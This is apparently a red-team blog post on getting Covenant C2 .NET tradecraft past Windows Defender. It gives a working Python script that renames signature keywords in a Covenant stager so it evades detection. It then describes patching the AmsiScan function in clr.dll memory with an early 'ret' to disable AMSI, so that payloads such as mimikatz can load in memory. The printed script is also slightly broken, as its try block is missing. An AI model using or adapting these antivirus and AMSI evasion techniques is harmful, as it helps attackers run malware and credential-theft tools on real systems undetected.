Fixing some .NET tradecraft

Quick and dirty write-up on how to get .NET tradecraft back up to speed.

For this situation we're going to be running the latest & greatest pull of Covenant from cobbr (here:

The host I'm testing on is a Windows 10 endpoint with the following defender versions:

There's two issue's I'm going to address in this note, firstly, bypassing windows defender (it kills default grunts but it's signatures are fairly basic). And, getting around Assembly.Load() issues - Covenant uses this technique to run payloads in the current memory space, defender is also preventing this. It looks like this in covenant:

Bypassing Defender

The small python script below will output a C# file which can be manually compiled, this will bypass basic signatures used by defender.

# Covenant Binary stager obfuscator 
# @operat_or - Jack
# 22/12/2019

import argparse
import string
import random

parser = argparse.ArgumentParser(description="Covenant Binary stager obfuscator")
parser.add_argument('infile', metavar='in', type=str, help='c# file in')
parser.add_argument('outfile', metavar='out', type=str, help='obfuscated output')
args = parser.parse_args()

    payload = open(args.infile).read()
    newfile = open(args.outfile, "w+")
except IOError:
    print("Input file doesn't exist or can't write to output")
letters = string.ascii_lowercase
gruntreplace = ''.join(random.choice(letters) for i in range(5))
covenantreplace = ''.join(random.choice(letters) for i in range(5))
stagereplace = ''.join(random.choice(letters) for i in range(5))

new_stager = payload.replace("Grunt", gruntreplace)
new_stager = new_stager.replace("Covenant", covenantreplace)
new_stager = new_stager.replace("Stage", stagereplace)

msgFormatString='string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";'
newFormatString='string MessageFormat = @"{{""---G-U-I-----D"":""{0}"",""T----y-p-----e"":{1},""---M-e-t----a"":""{2}"",""---I---V---"":""{3}"",""---E--n---cry---pt-e-d-M-e---ss---a-g-e"":""{4}"",""---H-----M--A--C"":""{5}""}}".Replace("-","");'

new_stager = new_stager.replace(msgFormatString, newFormatString)
print("[+] Done")

The obfuscation code above is very simple, essentially swap out key words with random values + obfuscate the "MessageFormat" variable. These are the only things defender is currently checking against :)

The original C# code can be taken from the "Launchers" tab in covenant:

Drop that to disk, run my obfuscation script above and compile the executable:

Great, confirm the check-in:

Cool, we have C2 using the binary launcher. However, we can't actually load anything into the memory space because of the Assembly.Load() call's being blocked AMSI in .NET.

Retaining Assembly.Load() functionality

In order to retain Assembly.Load() functionality, we need to bypass AMSI in .NET.

Let's take a look at manually patching out AMSI in .NET using WinDBG and your favourite memory editing tool, I like cheat engine :P

Firstly, attach onto the covenant grunt. The Grunt I'm using is just utilising the obfuscation script above. Let's breakpoint the AmsiScan() function within clr.dll so we can perform some analysis.

In order to hit our breakpoint, let's try and get some coffee:

Awesome. breakpoint hit:

I'll be entirely honest, I don't have working knowledge of how AMSI works under the hood, but a quick and dirty solution is to just ignore the function all together with an early return instruction.

Let's try manually patching this out in memory clr.dll+5FCFE0 is the entrypoint of the AmsiScan() function. Before it has a chance to do a thing, let's patch out "mov rax, rsp" with "ret; nop"

I realise this is a complete hack job. Essentially returning the function before any action can be taken - this will probably screw with some registers along the way, but let's see if it works - Re running "mimikatz coffee":

We hit the same breakpoint, this time the function has been patched out, if we continue execution:

No more issues with Assembly.Load() :D

Luckily for us, there's already a module within Covenant (BypassAmsi) which will achieve the same results, the patch will be far cleaner than the approach we've taken today xD). I don't believe the "BypassAmsi" payload is being hosed by Defender at this moment in time so we can continue to use this functionality. However, in the future, understanding the method above might become useful so that we can write our own patches if required. These can obviously be implemented in C# to patch the function calls on the fly, I'll maybe add that piece if I have some time in the future.

Thanks for reading!

Last updated